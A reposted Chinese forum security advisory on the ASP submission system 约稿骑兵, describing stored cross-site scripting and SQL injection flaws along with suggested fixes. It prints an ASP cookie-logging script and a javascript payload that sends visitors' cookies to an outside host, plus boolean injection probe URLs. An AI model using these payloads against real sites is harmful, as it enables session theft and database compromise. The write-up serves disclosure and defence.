发新话题
打印

[转载]约稿奇兵存在大量漏洞

[转载]约稿奇兵存在大量漏洞

本文作者: angel

描述:

  约稿骑兵是由劲风独立开发与维护的一个集作者投稿、编辑审稿、稿费管理等诸多有创意的功能为一体的ASP程序。由于大量文件没有对提交的表单进行字符过滤。导致非法用户可提交精心构造的语句执行跨站脚本,致使浏览者中木马、信息泄露、重则格式化硬盘。其二,由于view_pf.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL Injection攻击,获取任意用户的密码。

检测过程:

一、跨站脚本攻击

  既然是瞎子摸象式的测试这个未公开的约稿骑兵,说明会有蛮多这样那样的漏洞。比如:脚本问题,最简单的,用“&#39;”和“;”以及“>”作为用户名注册,系统并没有提示禁止提交非法字符,于是用“<script>alert();</script>”为用户名注册。可惜,单表域限制了字符数量,这样就可以限制字符长度了?呵呵,但愿没有禁止从外部提交数据。于是做一个注册页,将form action指向该站点注册页,果然注册成功,提交的时侯发现,该站点有两种会员可以注册,一种是直接注册的(作者),一种是注册后要管理员验证才可以使用的(编辑),刚才注册的只是个作者,这次注册编辑看看。仍然按刚才的方法,注册了会员<script>alert(&#39;1&#39;);</script>提交到最后,系统给出了提示:您已经注册成功。而空过两行后又出现,您注册的用户名里含有&#39;<等非法字符,请重新注册。这里又是程序上的一个BUG,过滤没有完全实现,先不管那么多,进入看看里面的东西如何。

  进入后,先到会员列表查看会员,果然弹出对话框两个,想要的效果实现了,这样跨站攻击就可以实现了。进入修改自己的资料中,里面各种资料要填写的很多。于是......尝试了一下真实地址栏里填写“<script>alert();</script>”确认。再查看地址,又有对话框了,这就成了,不用想了,整个站点这个问题根本没有解决好。

  在前面我们已经说过,还有编辑注册后是需要管理人员认证才可能通过验证的。这就...嘿嘿...于是注册用户名test,呵呵,为什么不直接取?不能叫管理员怀疑嘛,叫他进去后再后悔.在注册会员资料里好好的构造了一番。地址栏取COOKIES转载打印到其他站点的某个文本文件(这里就不多说了):取COOKIES原码如下:
复制内容到剪贴板
代码:
<%
testfile=Server.MapPath("fqytest.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
<script>window.location(&#39;[url]http://www.e3i5.com&#39;[/url]);</script>
  将以上代码保存为ASP文件就可以了,然后填入以下代码就可以开始收集Cookie啦。
复制内容到剪贴板
代码:
<img src="javascript :window.open(&#39;[url]http://youromain/cookie.php?&#39;+Documents.cookie[/url])">
  至于如何令浏览用户被格式化。大家还是去看看相关的文章吧。还是利用javascript。由于危害太大。代码不省略了……

二、SQL Injection攻击

  除了上面所说的跨站脚本攻击外。就是这个SQL Injection漏洞了。手工检测。发现这个漏洞存在于xuanti_xiugai1.asp(选题查询)、view_pf.asp(会员查询)两个文件,看来检查了提交的字符中是否有单引号和分号。检查的过程可能有些不同。但还是差不多的。尽管过滤了两个那特殊字符。但系统是access数据库的,仅过滤这两个字符根本不能拦住攻击者。因为这两个文件没有过滤空格,我们照样玩SQL Injection。提交:
复制内容到剪贴板
代码:
xuanti_xiugai1.asp?xuan_id=56 and 1=1
//正常显示
xuanti_xiugai1.asp?xuan_id=56 and 1=2
//警告:你正在企图非法浏览别人的选题
view_pf.asp?id=74 and 1=1
//正常显示
view_pf.asp?id=74 and 1=2
//资料全部显示空
  好了。知道该做什么了吗?跨表查询。这可是access数据库最常用的SQL Injection攻击方法了。关于详细的攻击方法,大家可以参考PsKey的《SQL Injection whit access》和我的《一个跨表查询的例子》都很详细。我们此次任务是检测程序的安全性。目的已经达到了。
  感谢风清扬的参与。

解决方案:

  关于这个约稿骑兵的防范方法也和许多程序一样。都是很普遍的问题——过滤字符。

  第一个问题就是跨站脚本攻击,由于没有进行脚本过滤。导致可以构造特殊html代码进行攻击,所以我们应该加上过滤的代码来过滤:HTMLEncode(加你的引用函数名) 如:

  HTMLEncode(&username) 就可以简单的屏蔽脚本攻击了。另外,对于跨站和外部提交的问题,对提交文件如post.asp,reg.asp等等文件加一个检验就可以了。代码如下:
复制内容到剪贴板
代码:
if instr(request.servervariables("http_referer"),"e3i5")<1 then
response.redirect "index.asp"
end if
&#39;e3i5 为你所用站点的域名私有部分.当然也可以使用地址连接里有的的字符串,都可以用.
&#39;或
if instr(request.servervariables("http_referer"),"variables("host&#39; target="_blank" >http://";&request.servervariables("host") )<1 then
response.redirect "index.asp"
end if
  另外,可以参考一下动网的char.asp文件。

  第二个问题就是SQL Injection攻击,有人认为SQL Injection攻击千变万化。难以防范。况且现在牛人这么多。其实再怎么灵活的技术,只要对用户提交的变量进行了完整的过滤,都不可能有问题。至于防范方法嘛方法太多了。给出一段我一直用的代码:
复制内容到剪贴板
代码:
<%
if IsNumeric(request.QueryString("id"))=False then
response.write("请勿输入非法字符")
response.end
end if
%>
  放在文件前面就可以检查提交的变量id了。方法实在太多,以前我都说过。从理论上来说,对用户提交的变量。只能是字母和数字。所以程序要尽可能多过滤一些非法字符。单引号、双引号、分号、空格、<、>等。

  这次检测也结束了,程序不可能很完美,我的水平也有限。直觉上这个程序的BUG应该还有。如果能把刚才所发现的漏洞修补好。在瞎子摸象的情况下。已经是相当难更深入了。因为至始至终我们都没有得看到程序源代码和数据库的结构。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题